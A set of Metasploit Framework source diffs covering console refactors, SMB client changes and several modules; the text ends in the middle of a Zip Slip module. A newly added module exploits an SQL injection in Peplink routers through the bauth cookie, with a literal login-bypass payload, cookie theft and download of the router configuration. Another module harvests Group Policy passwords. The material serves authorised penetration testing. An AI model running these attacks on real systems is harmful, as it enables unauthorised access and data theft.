@@auxiliary_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-j" => [ false, "Run in the context of a job." ],
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-a" => [ true, "The action to use. If none is specified, ACTION is used." ],
"-q" => [ false, "Run the module in quiet mode with no output" ]
@@auxiliary_action_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help banner.' ],
'-j' => [ false, 'Run in the context of a job.' ],
'-o' => [ true, 'A comma separated list of options in VAR=VAL format.' ],
'-q' => [ false, 'Run the module in quiet mode with no output' ]
)
@@auxiliary_opts = Rex::Parser::Arguments.new(@@auxiliary_action_opts.fmt.merge(
'-a' => [ true, 'The action to use. If none is specified, ACTION is used.'],
))
#
# Returns the hash of commands specific to auxiliary modules.
#
def action_commands
mod.actions.map { |action| [action.name.downcase, action.description] }.to_h
end
#
# Returns the hash of commands specific to auxiliary modules.
#
@@ -34,7 +43,7 @@ class Auxiliary
"recheck" => "This is an alias for the rcheck command",
"rexploit" => "This is an alias for the rerun command",
"reload" => "Reloads the auxiliary module"
}).merge( (mod ? mod.auxiliary_commands : {}) )
}).merge( (mod ? mod.auxiliary_commands : {}) ).merge(action_commands)
end
#
@@ -48,9 +57,26 @@ class Auxiliary
return mod.send(meth.to_s, *args)
end
action = meth.to_s.delete_prefix('cmd_')
if mod && mod.kind_of?(Msf::Module::HasActions) && mod.actions.map(&:name).any? { |a| a.casecmp?(action) }
return do_action(action, *args)
end
return
end
#
#
# Execute the module with a set action
#
def do_action(meth, *args)
action = mod.actions.find { |action| action.name.casecmp?(meth) }
raise Msf::MissingActionError.new(meth) if action.nil?
cmd_run(*args, action: action.name)
end
#
#
# Returns the command dispatcher name.
@@ -70,9 +96,9 @@ class Auxiliary
#
# Executes an auxiliary module
#
def cmd_run(*args)
def cmd_run(*args, action: nil)
opts = []
action = mod.datastore['ACTION']
action ||= mod.datastore['ACTION']
jobify = false
quiet = false
@@ -87,7 +113,11 @@ class Auxiliary
when '-q'
quiet = true
when '-h'
cmd_run_help
if action.nil?
cmd_run_help
else
cmd_action_help(action)
end
return false
else
if val[0] != '-' && val.match?('=')
@@ -179,6 +209,13 @@ class Auxiliary
print @@auxiliary_opts.usage
end
def cmd_action_help(action)
print_line "Usage: " + action.downcase + " [options]"
print_line
print_line "Launches an auxiliary module."
print @@auxiliary_action_opts.usage
end
alias cmd_exploit_help cmd_run_help
#
@@ -110,6 +110,22 @@ module Msf
print_line
end
def print_module_info(mod, dump_json: false, show_doc: false)
if dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Tempfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
end
end
#
# Displays information about one or more module.
#
@@ -128,49 +144,41 @@ module Msf
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
f = Tempfile.new(["#{active_module.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(active_module))
end
if active_module
print_module_info(active_module, dump_json: dump_json, show_doc: show_doc)
return true
else
cmd_info_help
return false
end
elsif args.include? "-h"
elsif args.include? '-h'
cmd_info_help
return false
end
args.each { |name|
args.each do |arg|
mod_name = arg
# Use a module by search index
index_from_list(@module_search_results, mod_name) do |mod|
next unless mod && mod.respond_to?(:fullname)
# Module cache object from @module_search_results
mod_name = mod.fullname
end
# Ensure we have a reference name and not a path
name = trim_path(mod_name, 'modules')
# Creates an instance of the module
mod = framework.modules.create(name)
if (mod == nil)
if mod.nil?
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Tempfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
print_module_info(mod, dump_json: dump_json, show_doc: show_doc)
end
}
end
end
def cmd_options_help
@@ -465,14 +473,13 @@ module Msf
}
else
print_line(tbl.to_s)
index_usage = "use #{@module_search_results.length - 1}"
index_info = "info #{@module_search_results.length - 1}"
name_usage = "use #{@module_search_results.last.fullname}"
print("Interact with a module by name or index. For example %grn#{index_info}%clr, %grn#{index_usage}%clr or %grn#{name_usage}%clr\n\n")
print_status("Using #{used_module}") if used_module
if @module_search_results.length > 1
index_usage = "use #{@module_search_results.length - 1}"
name_usage = "use #{@module_search_results.last.fullname}"
print("Interact with a module by name or index, for example %grn#{index_usage}%clr or %grn#{name_usage}%clr\n\n")
end
end
true
@@ -649,7 +656,10 @@ module Msf
# Use a module by search index
index_from_list(@module_search_results, mod_name) do |mod|
return false unless mod && mod.respond_to?(:fullname)
unless mod && mod.respond_to?(:fullname)
print_error("Invalid module index: #{mod_name}")
return false
end
# Module cache object from @module_search_results
mod_name = mod.fullname
@@ -669,7 +679,7 @@ module Msf
# Avoid trying to use the search result if it exactly matches
# the module we were trying to load. The module cannot be
# loaded and searching isn't going to change that.
mods_found = cmd_search('-I', '-u', mod_name)
mods_found = cmd_search('-I', '-u', *args)
end
unless mods_found
@@ -203,11 +203,15 @@ module Msf
normalized << "* [#{ref.ctx_val}](#{ref.site})"
when 'URL'
normalized << "* [#{ref.site}](#{ref.site})"
when 'OSVDB'
normalized << "* #{ref.site.to_s}"
when 'US-CERT-VU'
normalized << "* [VU##{ref.ctx_val}](#{ref.site})"
when 'CVE', 'cve'
if !cve_collection.empty? && ref.ctx_val.blank?
normalized << "* #{NO_CVE_MESSAGE}"
else
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
end
else
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
+43 -36
View File
@@ -19,9 +19,6 @@ class PayloadCachedSize
'Options' => {
'CPORT' => 4444,
'LPORT' => 4444,
'LHOST' => '255.255.255.255',
'KHOST' => '255.255.255.255',
'AHOST' => '255.255.255.255',
'CMD' => '/bin/sh',
'URL' => 'http://a.com',
'PATH' => '/',
@@ -36,27 +33,27 @@ class PayloadCachedSize
'DisableNops' => true
}
OPTS6 = {
'Format' => 'raw',
'Options' => {
'CPORT' => 4444,
'LPORT' => 4444,
'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
'CMD' => '/bin/sh',
'URL' => 'http://a.com',
'PATH' => '/',
'BUNDLE' => 'data/isight.bundle',
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh',
'StagerURILength' => 5
},
'Encoder' => nil,
'DisableNops' => true
}
OPTS_ARCH_X64 = {
'DLL' => 'data/vncdll.x64.dll',
'PE' => 'data/vncdll.x64.dll'
}.freeze
OPTS_ARCH_X86 = {
'DLL' => 'data/vncdll.x86.dll',
'PE' => 'data/vncdll.x86.dll'
}.freeze
OPTS_IPV4 = {
'LHOST' => '255.255.255.255',
'KHOST' => '255.255.255.255',
'AHOST' => '255.255.255.255'
}.freeze
OPTS_IPV6 = {
'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'
}.freeze
# Insert a new CachedSize value into the text of a payload module
#
@@ -104,8 +101,8 @@ class PayloadCachedSize
# @return [Integer]
def self.compute_cached_size(mod)
return ":dynamic" if is_dynamic?(mod)
return mod.generate_simple(OPTS6).size if mod.shortname =~ /6/
return mod.generate_simple(OPTS).size
mod.generate_simple(module_options(mod)).size
end
# Determines whether a payload generates a static sized output
@@ -115,12 +112,9 @@ class PayloadCachedSize
# verify that the size is static.
# @return [Integer]
def self.is_dynamic?(mod, generation_count=5)
opts = module_options(mod)
[*(1..generation_count)].map do |x|
if mod.shortname =~ /6/
mod.generate_simple(OPTS6).size
else
mod.generate_simple(OPTS).size
end
mod.generate_simple(opts).size
end.uniq.length != 1
end
@@ -131,13 +125,26 @@ class PayloadCachedSize
def self.is_cached_size_accurate?(mod)
return true if mod.dynamic_size? && is_dynamic?(mod)
return false if mod.cached_size.nil?
if mod.shortname =~ /6/
mod.cached_size == mod.generate_simple(OPTS6).size
else
mod.cached_size == mod.generate_simple(OPTS).size
end
mod.cached_size == mod.generate_simple(module_options(mod)).size
end
# Get a set of sane default options for the module so it can generate a
# payload for size analysis.
#
# @param mod [Msf::Payload] The class of the payload module to get options for
# @return [Hash]
def self.module_options(mod)
opts = OPTS.clone
# Assign this way to overwrite the Options key of the newly cloned hash
opts['Options'] = opts['Options'].merge(mod.shortname =~ /6/ ? OPTS_IPV6 : OPTS_IPV4)
if mod.arch_to_s == ARCH_X64
opts['Options'].merge!(OPTS_ARCH_X64)
elsif mod.arch_to_s == ARCH_X86
opts['Options'].merge!(OPTS_ARCH_X86)
end
opts
end
end
end
+3 -3
View File
@@ -31,16 +31,16 @@ attr_accessor :last_error, :server_max_buffer_size
attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
# Pass the socket object and a boolean indicating whether the socket is netbios or cifs
def initialize(socket, direct = false, versions = [1, 2, 3], always_encrypt: true)
def initialize(socket, direct = false, versions = [1, 2, 3], always_encrypt: true, backend: nil)
self.socket = socket
self.direct = direct
self.versions = versions
self.shares = {}
self.server_max_buffer_size = 1024 # 4356 (workstation) or 16644 (server) expected
if self.versions == [1]
if (self.versions == [1] && backend.nil?) || backend == :rex
self.client = Rex::Proto::SMB::Client.new(socket)
else
elsif (backend.nil? || backend == :ruby_smb)
self.client = RubySMB::Client.new(RubySMB::Dispatcher::Socket.new(self.socket, read_timeout: 60),
username: '',
password: '',
+1 -1
View File
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.10'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.12'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.2'
# Needed by msfgui and other rpc components
@@ -0,0 +1,232 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Peplink Balance routers SQLi',
'Description' => %q{
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated
SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an
attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.
By default, a session expires 4 hours after login (the setting can be changed by the admin), for this
reason, the module attempts to retrieve the most recently created sessions.
},
'Author' =>
[
'X41 D-Sec GmbH <info@x41-dsec.de>', # Original Advisory
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'References' =>
[
[ 'EDB', '42130' ],
[ 'CVE', '2017-8835' ],
[ 'URL', 'https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a' ]
],
'Targets' => [['Wildcard Target', {}]],
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptBool.new('BypassLogin', [true, 'Just bypass login without trying to leak the cookies of active sessions', false]),
OptBool.new('EnumUsernames', [true, 'Retrieve the username associated with each session', false]),
OptBool.new('EnumPrivs', [true, 'Retrieve the privilege associated with each session', false]),
OptInt.new('LimitTries', [false, 'The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly', nil]),
OptBool.new('AdminOnly', [true, 'Only attempt to retrieve cookies of privilegied users (admins)', false])
]
)
end
def perform_sqli
# Note: using run_sql because there is a limit on the length of our queries
# will work only if we remove the casts, NULL value handling etc.
digit_range = ('0'..'9')
bit_range = ('0'..'1')
alphanumeric_range = ('0'..'z')
session_count = @sqli.run_sql("select count(1) from sessionsvariables where name='expire'").to_i
print_status "There are #{session_count} (possibly expired) sessions"
# limit the number of session cookies to retrieve if the option is set
session_count = datastore['LimitTries'] if datastore['LimitTries'] && datastore['LimitTries'] < session_count
session_ids = session_count.times.map do |i|
id = @sqli.run_sql('select id from sessionsvariables ' \
"where name='expire' order by " \
"cast(value as int) desc limit 1 offset #{i}", output_charset: digit_range).to_i
# if AdminOnly, check if is an admin
if datastore['AdminOnly']
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
is_rwa > 0 ? id : nil
else
id
end
end.compact
print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']
if session_ids.count == 0
print_error('No active authenticated sessions found, try again after a user has authenticated')
return
end
print_status('Trying the ids from the most recent logins')
cookies = [ ]
session_ids.each_with_index do |id, idx|
cookie = @sqli.run_sql("select sessionid from sessions where id=#{id}", output_charset: alphanumeric_range)
cookies << cookie
if datastore['EnumUsernames']
username = @sqli.run_sql("select value from sessionsvariables where name='username' and id=#{id}")
end
if datastore['EnumPrivs']
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
end
username_msg = username ? ", username = #{username}" : ''
is_admin_msg = if is_rwa
", with #{is_rwa > 0 ? 'read/write' : 'read-only'} permissions"
else
''
end
print_good "Found cookie #{cookie}#{username_msg}#{is_admin_msg}"
break if session_count == idx + 1
end
cookies
end
# returns false if data has an error message, the data otherwise
def parse_and_check_for_errors(data)
xml = ::Nokogiri::XML(data)
if xml.errors.empty? && data.include?('errorMessage')
print_error xml.css('errorMessage')[0].text
false
else
xml.errors.empty? ? xml : data
end
end
def get_data_by_option(cookie, option)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'data.cgi'),
'method' => 'GET',
'cookie' => "bauth=#{cookie}",
'vars_get' => {
'option' => option
}
})
return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)
if res.code == 200
print_status "Retrieving #{option}"
xml = parse_and_check_for_errors(res.body)
if xml
print_xml_data(xml)
path = store_loot("peplink #{option}", 'text/xml', datastore['RHOST'], res.body)
print_good "Saved at #{path}"
xml
else
false
end
else
print_error "Could not retrieve #{option}"
false
end
end
def retrieve_data(cookie)
data_options = %w[fhlicense_info sysinfo macinfo hostnameinfo uptime client_info hubport fhstroute ipsec wan_summary firewall cert_info mvpn_summary]
# in case of a VPN being configured, the option cert_pem_details can leak private keys? (option=cert_pem_details&pem=)
# might be interesting: eqos_priority, for QoS
# first, attempt downloading the router configuration
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'download_config.cgi'),
'method' => 'GET',
'cookie' => "bauth=#{cookie}"
})
if res.code == 200
# router configuration consists of a 24-byte header, and .tar.gz compressed data
config = res.body
if parse_and_check_for_errors(config)
path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)
print_good "Retrieved config, saved at #{path}"
end
else
print_error 'Could not retrieve the router configuration file'
end
data_options.each do |option|
get_data_by_option(cookie, option)
end
end
def print_xml_data(xml)
nodes = [ [xml, 0] ]
until nodes.empty?
node, nesting = nodes.pop
if node.is_a?(Nokogiri::XML::Document)
node.children.each do |child|
nodes.push([child, nesting + 1])
end
elsif node.is_a?(Nokogiri::XML::Element)
node_name = node.name
if node.attributes && !node.attributes.empty?
node_name += ' {' + node.attributes.map { |(_n, attr)| attr.name + '=' + attr.value }.join(',') + '}'
end
vprint_good "\t" * nesting + node_name
node.children.each do |child|
nodes.push([child, nesting + 1])
end
elsif node.is_a?(Nokogiri::XML::Text)
vprint_good "\t" * nesting + node.content
end
end
end
def check
@sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
'method' => 'GET',
'cookie' => "bauth=' or #{payload}--"
})
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res
res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
end
if @sqli.test_vulnerable
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems to be vulnerable'
if datastore['BypassLogin']
cookies = [ "' or id IN (select s.id from sessions as s " \
"left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--"]
else
cookies = perform_sqli
end
admin_cookie = cookies.detect do |c|
print_status "Checking for admin cookie : #{c}"
get_data_by_option(c, 'noop')
end
if admin_cookie.nil?
print_error 'No valid admin cookie'
return
end
retrieve_data(admin_cookie)
end
end
@@ -33,15 +33,19 @@ class MetasploitModule < Msf::Auxiliary
end
def run_host(target_host)
vprint_status("Sending RMI Header...")
connect
begin
connect
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
vprint_status("Sending RMI Header...")
send_header
ack = recv_protocol_ack
if ack.nil?
print_error("Failed to negotiate RMI protocol")
disconnect
return
return Exploit::CheckCode::Unknown
end
# Determine if the instance allows remote class loading
@@ -81,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
if return_value.nil?
print_good("Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
return
return Exploit::CheckCode::Detected
end
if return_value.is_exception? && loader_enabled?(return_value.value)
@@ -94,9 +98,11 @@ class MetasploitModule < Msf::Auxiliary
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
:refs => self.references
)
Exploit::CheckCode::Vulnerable
else
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
Exploit::CheckCode::Safe
end
end
@@ -0,0 +1,183 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Modbus Banner Grabbing',
'Description' => %q{
This module grabs the banner of any device running the Modbus protocol
by sending a request with Modbus Function Code 43 (Read Device
Identification). Modbus is a data communications protocol originally
published by Modicon (now Schneider Electric) in 1979 for use with its
programmable logic controllers (PLCs).
},
'Author' =>
[
'Juan Escobar <juan[at]null-life.com>', # @itsecurityco
'Ezequiel Fernandez' # @capitan_alfa
],
'References' =>
[
[ 'URL', 'https://modbus.org/docs/Modbus_Messaging_Implementation_Guide_V1_0b.pdf' ],
[ 'URL', 'https://en.wikipedia.org/wiki/Modbus#Modbus_TCP_frame_format_(primarily_used_on_Ethernet_networks)' ],
[ 'URL', 'https://github.com/industrialarmy/Hello_Proto' ],
],
'License' => MSF_LICENSE
)
)
register_options(
[
Opt::RPORT(502),
OptInt.new('TIMEOUT', [true, 'Timeout for the network probe', 2])
]
)
end
# Main Modbus exception codes
def handle_exception_codes(code)
case code
when "\xab\x01"
print_error('Illegal Function: The function code received in the query is not recognized or allowed by the slave.')
when "\xab\x02"
print_error('Illegal Data Address: Data address of some or all the required entities are not allowed or do not exist in slave.')
when "\xab\x03"
print_error('Illegal Data Value: Value is not accepted by slave.')
when "\xab\x04"
print_error('Slave Device Failure: Unrecoverable error occurred while slave was attempting to perform requested action.')
when "\xab\x05"
print_error('Acknowledge: Slave has accepted the request and is processing it, but requires a long period of time to process it.')
when "\xab\x06"
print_error('Slave Device Busy: Slave is engaged in processing a long-duration program command.')
when "\xab\x07"
print_error('Negative Acknowledge: Slave cannot perform the programming function recieved in the query.')
when "\xab\x08"
print_error('Memory Parity Error: Slave detected a parity error in memory.')
when "\xab\x0a"
print_error('Gateway Path Unavailable: The gateway was likely misconfigured or is overloaded as it was unable to internally connect the input and output channels.')
when "\xab\x0b"
print_error("Gateway Target Device Failed to Respond: Gateway could not find the target device on the network or the target device didn't respond.")
else
print_error('MODBUS - received incorrect data.')
end
end
def run_host(ip)
object_name = {
0 => 'VendorName',
1 => 'ProductCode',
2 => 'Revision',
3 => 'VendorUrl',
4 => 'ProductName',
5 => 'ModelName',
6 => 'UserAppName',
7 => 'Reserved',
8 => 'Reserved',
9 => 'Reserved',
10 => 'Reserved',
128 => 'PrivateObjects',
255 => 'PrivateObjects'
}
# Modbus/TCP Response Bytes
mbtcp = {
'trans_id' => { 'start' => 0, 'bytes' => 2 },
'prot_id' => { 'start' => 2, 'bytes' => 2 },
'len' => { 'start' => 4, 'bytes' => 2 },
'unit_id' => { 'start' => 6, 'bytes' => 1 },
'func_code' => { 'start' => 7, 'bytes' => 1 },
'mei' => { 'start' => 8, 'bytes' => 1 },
'read_device_id' => { 'start' => 9, 'bytes' => 1 },
'conformity_level' => { 'start' => 10, 'bytes' => 1 },
'more_follows' => { 'start' => 11, 'bytes' => 1 },
'next_object_id' => { 'start' => 12, 'bytes' => 1 },
'num_objects' => { 'start' => 13, 'bytes' => 1 },
'object_id' => { 'start' => 14, 'bytes' => 1 },
'objects_len' => { 'start' => 15, 'bytes' => 1 },
'object_str_value' => { 'start' => 16, 'bytes' => nil }
}
begin
connect
packet = "\x44\x62" # Transaction Identifier
packet << "\x00\x00" # Protocol Identifier
packet << "\x00\x05" # Length
packet << "\xFF" # Unit Identifier
packet << "\x2b" # 0010 1011 = Function Code: Encapsulated Interface Transport (43)
packet << "\x0e" # MEI type: Read Device Identification (14)
packet << "\x03" # Read Device ID: Extended Device Identification (3)
packet << "\x00" # Object ID: VendorName (0)
sock.put(packet)
data = sock.get_once(-1, datastore['TIMEOUT'])
unless data
raise ::Rex::ConnectionTimeout
end
# Read Device Identification (43)
unless data[mbtcp['func_code']['start'], 2] == "\x2b\x0e"
handle_exception_codes(data[mbtcp['func_code']['start'], 2])
return
end
num_objects = data[mbtcp['num_objects']['start'], mbtcp['num_objects']['bytes']]
if num_objects.nil?
print_error('MODBUS - No data was received from the target machine, its possible it may be offline or not responding.')
return
end
num_objects = num_objects.unpack1('C')
print_status("Number of Objects: #{num_objects}")
object_start = mbtcp['object_id']['start']
for _i in 1..num_objects.to_i
object = Hash.new
object['id'] = data[object_start, mbtcp['object_id']['bytes']].unpack1('C')
object['len'] = data[object_start + mbtcp['object_id']['bytes'], mbtcp['objects_len']['bytes']].unpack1('C')
object['str_value'] = data[object_start + mbtcp['object_id']['bytes'] + mbtcp['objects_len']['bytes'], object['len']].unpack1('a*')
if object_name.key?(object['id'])
object['name'] = object_name[object['id']]
else
object['name'] = 'Missing_Name'
end
print_good("#{object['name']}: #{object['str_value']}")
object_start = object_start + mbtcp['object_id']['bytes'] + mbtcp['objects_len']['bytes'] + object['len']
report_note(
host: ip,
proto: 'tcp',
port: rport,
sname: 'modbus',
type: "modbus.#{object['name'].downcase}",
data: object['str_value']
)
end
rescue ::Interrupt
print_error('MODBUS - Interrupt during payload')
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
print_error("MODBUS - Network error during payload: #{e}")
return
rescue ::EOFError
print_error('MODBUS - No reply')
return
end
def cleanup
disconnect rescue nil
end
end
end
+25 -37
View File
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %Q{
This module enumerates files from target domain controllers and connects to them via SMB.
It then looks for Group Policy Preference XML files containing local/domain user accounts
and passwords and decrypts them using Microsofts public AES key. This module has been
and passwords and decrypts them using Microsoft's public AES key. This module has been
tested successfully on a Win2k8 R2 Domain Controller.
},
'Author' =>
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary
],
'References' =>
[
['CVE', '2014-1812'],
['MSB', 'MS14-025'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
@@ -43,19 +44,16 @@ class MetasploitModule < Msf::Auxiliary
OptPort.new('RPORT', [true, 'The Target port', 445]),
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
])
deregister_options('SMB::ProtocolVersion')
end
def check_path(ip, path)
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
begin
fd = simple.open("\\#{path}", 'ro')
fd.close
print_good "Found Policy Share on #{ip}"
smb_download(ip, path)
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
case e.get_error(e.error_code)
smb_download(ip, fd, path)
rescue ::RubySMB::Error::UnexpectedStatusCode => e
case e.status_code.name
when 'STATUS_FILE_IS_A_DIRECTORY'
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
when 'STATUS_OBJECT_NAME_NOT_FOUND'
@@ -70,9 +68,9 @@ class MetasploitModule < Msf::Auxiliary
vprint_error("Host rejected with insufficient resources!")
when 'STATUS_OBJECT_NAME_INVALID'
vprint_error("opening \\#{path} bad filename")
else
return
end
ensure
fd.close unless fd.nil?
end
end
@@ -139,12 +137,10 @@ class MetasploitModule < Msf::Auxiliary
end
end
def smb_download(ip, path)
def smb_download(ip, fd, path)
vprint_status("Downloading #{path}...")
fd = simple.open("\\#{path}", 'ro')
data = fd.read
fd.close
path_elements = path.split('\\')
ret_obj = {
@@ -167,39 +163,31 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
print_status('Connecting to the server...')
begin
connect(versions: [1])
connect
smb_login
print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
tree = simple.client.tree_connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
root_listing = simple.client.find_first("*")
corp_domain = ''
root_listing.each_key do |key|
next if key == '.' || key == '..'
corp_domain = key
end
corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }
fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?
sub_folder_listing = simple.client.find_first("#{corp_domain}\\Policies\\*")
sub_folders = []
sub_folder_listing.each_key do |key|
next if key == '.' || key == '..'
sub_folders << key
end
sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }
gpp_locations = %w(
\\MACHINE\\Preferences\\Groups\\Groups.xml
\\USER\\Preferences\\Groups\\Groups.xml
\\MACHINE\\Preferences\\Services\\Services.xml
\\USER\\Preferences\\Printers\\Printers.xml
\\USER\\Preferences\\Drives\\Drives.xml
\\MACHINE\\Preferences\\Datasources\\DataSources.xml
\\USER\\Preferences\\Datasources\\DataSources.xml
\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
MACHINE\\Preferences\\Groups\\Groups.xml
USER\\Preferences\\Groups\\Groups.xml
MACHINE\\Preferences\\Services\\Services.xml
USER\\Preferences\\Printers\\Printers.xml
USER\\Preferences\\Drives\\Drives.xml
MACHINE\\Preferences\\Datasources\\DataSources.xml
USER\\Preferences\\Datasources\\DataSources.xml
MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
)
sub_folders.each do |i|
sub_folders.each do |sub_folder|
next if sub_folder == '.' || sub_folder == '..'
gpp_locations.each do |gpp_l|
check_path(ip,"#{corp_domain}\\Policies\\#{i}#{gpp_l}")
check_path(ip,"#{corp_domain}\\Policies\\#{sub_folder}\\#{gpp_l}")
end
end
rescue ::Exception => e
+1 -1
View File
@@ -88,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
break if protocol.nil?
version = { 'SMB2' => 2, 'SMB3' => 3 }.fetch(protocol, 1)
versions.filter! { |v| v < version }
versions.select! { |v| v < version }
dialect = simple.client.dialect
if simple.client.is_a? RubySMB::Client
+71 -59
View File
@@ -11,44 +11,49 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Generic Zip Slip Traversal Vulnerability",
'Description' => %q{
This is a generic arbitrary file overwrite technique, which typically results in remote
command execution. This targets a simple yet widespread vulnerability that has been
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
The idea is that often archive extraction libraries have no mitigations against
directory traversal attacks. If an application uses it, there is a risk when opening an
archive that is maliciously modified, and result in the embedded payload to be written
to an arbitrary location (such as a web root), and result in remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Snyk', # Technique discovery
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Generic Zip Slip Traversal Vulnerability',
'Description' => %q{
This is a generic arbitrary file overwrite technique, which typically results in remote
command execution. This targets a simple yet widespread vulnerability that has been
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
The idea is that often archive extraction libraries have no mitigations against
